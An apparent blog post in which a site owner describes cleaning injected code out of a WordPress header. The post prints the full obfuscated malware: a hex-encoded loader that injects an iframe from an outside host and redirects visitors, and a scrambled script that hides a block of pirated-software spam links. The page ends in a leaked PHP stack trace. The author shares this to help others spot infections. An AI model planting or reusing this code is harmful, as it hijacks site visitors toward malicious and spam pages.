July 12, 2020

Redirect Virus to Spam Web Site – Strange code in WordPress Header

Posted on February 24, 2010 by in software

I found these two strange chunks of code in my wordpress header, which was redirecting my site to a spam web site.
<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E’));dF(‘%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1’)</script>

And this chunk below.

<script type=”text/javascript”>
a = Array(‘c4v4’, ‘I’, ‘ wid’, ‘rxkQ’, ‘s’, ‘te’, ‘ZHA’, ‘px;’, ‘u’, ‘A’, ‘yle=’, ‘V’, ‘ le’, ‘px’, ‘ht: ‘, ‘: a’, ‘0’, ‘ s’, ‘ig’, ‘o’, ‘; he’, ‘ft:’, ‘ion’, ‘idde’, ’00px’, ‘NI’, ‘I’, ‘ ‘, ‘kB’, ‘n;\”‘, ‘6Ms’, ‘\”po’, ’20’, ‘Mh’, ‘l’, ‘th: ‘, ‘H’, ‘ver’, ‘x; o’, ‘-2’, ‘low’, ‘f’, ‘</di’, ‘v>’, ‘>’, ‘wri’, ‘H0d’, ‘<div’, ‘x’, ‘to’, ‘1’, ‘U’, ‘te; ‘, ‘: h’, ‘200’, ‘LL9’, ‘p: ‘, ‘-‘, ‘;’, ‘l’, ‘t’, ‘jZ’, ‘ln’, ‘it’, ‘bs’, ‘200p’, ‘3’);
b = bb = Array();
z = Array();
b[0] = Array(47,17,60,10,31,4,63,22,15,64,19,59,8,52,49,56,39,24,58,12,21,27,57,54,7,2,35,32,16,13,20,18,14,65,38,37,41,40,53,23,29,44);
b[1] = Array(45,5,62);
b[2] = Array(42,43);
ss = ”;
for (ik in b) {
z[ik] = ”;
for (i = 0; i < b[ik].length; ++i) {
z[ik] += ” + a[b[ik][i]];
}
}
document[z[1]](z[0]);
</script>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-home-premium-telecharger”>acheter windows 7 home</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-acrobat-professionnel”>acheter adobe acrobat 9 pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-photoshop-cs4″>photoshop cs4 moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-windows-vista-64-bits”>achat windows vista 64</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-x64-french”>windows 7 64 bits telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-creative-suite-4-prix”>prix adobe creative suite 4 master collection</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-vista-ultimate”>windows vista ultimate telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-x64-francais”>windows 7 home premium 64 bit oem</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-autocad-lt-2010″>acheter autocad lt 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-ultimate-pas-cher”>telecharger windows 7 ultimate 32 bits</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-autocad-lt-2009″>acheter autocad lt 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-office-pme-2007″>office 2007 pme telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=vista-pas-chere”>windows vista business oem</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-vista-home-premium”>prix windows vista home premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-windows-7″>prix windows 7</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-2007-pro-prix”>telecharger microsoft office 2007 pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=kaspersky-internet-security-2010-moins-cher”>prix kaspersky internet security 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-vista-pro”>acheter vista pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-windows-7-professional”>windows 7 professionnel achat</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=achat-photoshop-cs3″>adobe photoshop francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-windows-vista-francais”>vista telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-indesign-cs4″>acheter indesign cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=microsoft-office-2007-pas-cher”>achat microsoft office 2007</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=autocad-2010-telecharger”>prix autocad 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-premiere-pro-acheter”>adobe premiere pro cs4 prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-adobe-acrobat-9-pro”>acheter acrobat reader</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-vista-pas-cher”>telecharger windows vista</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=photoshop-moins-cher”>acheter photoshop cs2</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=autocad-2010-francais”>autocad 2010 francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-home-premium-prix”>acheter windows 7 home premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-adobe-cs4″>acheter adobe creative suite 4 master collection</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-vista-premium”>acheter windows vista home premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-adobe-cs4-design-premium”>adobe cs4 design premium fr</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-creative-suite-4-master-collection-fr”>acheter adobe cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-kaspersky-internet-security”>prix kaspersky internet security 2010</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-pme-2007-moins-cher”>office 2007 pme prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-2007-prix-etudiant”>telecharger office 2007 etudiant</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-vista-pas-cher”>acheter windows vista 32 bit</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=dreamweaver-pas-cher”>achat dreamweaver cs3</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-vista-pas-cher”>telecharger vista en francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-cs4-telechargement”>acheter adobe creative suite 3</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=kaspersky-2010-moins-cher”>kaspersky 2010 moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=dreamweaver-telecharger”>dreamweaver telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-windows-vista-64-bits”>acheter windows vista 64 bits</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=indesign-cs4-telecharger”>prix indesign cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-adobe-after-effects”>acheter after effect 7</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-ultimate-telecharger”>windows 7 ultimate oem fr</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-windows-vista-pro”>windows vista pro prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-illustrator-telechargement”>acheter illustrator cs2</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-xp-pro-acheter”>windows xp pro achat</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-microsoft-office-2007-etudiant”>microsoft office 2007 etudiant et famille</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=kaspersky-pas-cher”>kaspersky internet security 2010 telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-dreamweaver”>acheter dreamweaver 8</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-prix-discount”>windows 7 francais telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-pas-chere”>windows 7 moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=telecharger-adobe-after-effect-cs4″>adobe after effect cs4 prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-autocad-2009″>autocad moins cher</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-illustrator-telecharger”>acheter illustrator</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=prix-autocad-2007″>achat autocad 2008</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=office-2007-professionnel-telecharger”>acheter microsoft office 2007 pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-7-meilleur-prix”>windows 7 meilleur prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-xp-pro-sp2″>acheter windows xp pro 64</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=photoshop-pas-cher”>acheter photoshop cs3</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-photoshop-cs4-acheter”>acheter adobe photoshop 7.0</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-cs4-design-premium-francais”>acheter adobe creative suite 4 design premium</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-premiere-prix”>telecharger adobe premiere pro francais</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=achat-windows-xp-professionnel”>achat windows xp familiale</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-seven-professionnel”>achat windows seven pro</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=adobe-photoshop-cs4-fr”>adobe photoshop cs4 fr</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=vista-ultimate-prix”>vista ultimate telecharger</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-windows-vista”>acheter windows vista familiale</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=acheter-office-2007-en-ligne”>microsoft office 2007 prix</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=achat-dreamweaver-cs4″>acheter dreamweaver cs4</a>
<a href=”http://www.cs.uwf.edu/undergraduate/minors/wdCertifiate.php?p=windows-xp-achat-en-ligne”>windows xp acheter</a>
<script type=”text/javascript”>
document[z[1]](z[2]);

Removing those two chunks of code resolved the issue. I also changed my password and upgraded to the latest version of wordpress.

Tags: ,

One Response to “Redirect Virus to Spam Web Site – Strange code in WordPress Header”


  1. Fatal error: Uncaught Error: Call to undefined function ereg() in /homepages/16/d90920294/htdocs/nyc/wp-content/themes/thejournal/includes/theme-comments.php:44 Stack trace: #0 /homepages/16/d90920294/htdocs/nyc/wp-content/themes/thejournal/includes/theme-comments.php(16): the_commenter_link() #1 /homepages/16/d90920294/htdocs/nyc/wp-includes/class-walker-comment.php(179): custom_comment(Object(WP_Comment), Array, 1) #2 /homepages/16/d90920294/htdocs/nyc/wp-includes/class-wp-walker.php(145): Walker_Comment->start_el('', Object(WP_Comment), 1, Array) #3 /homepages/16/d90920294/htdocs/nyc/wp-includes/class-walker-comment.php(139): Walker->display_element(Object(WP_Comment), Array, 1, 0, Array, '') #4 /homepages/16/d90920294/htdocs/nyc/wp-includes/class-wp-walker.php(332): Walker_Comment->display_element(Object(WP_Comment), Array, 1, 0, Array, '') #5 /homepages/16/d90920294/htdocs/nyc/wp-includes/comment-template.php(2172): Walker->paged_walk(Array, -1, 0, 0, Array) #6 /homepages/16/d90920294/htdocs/nyc/wp-content/themes/the in /homepages/16/d90920294/htdocs/nyc/wp-content/themes/thejournal/includes/theme-comments.php on line 44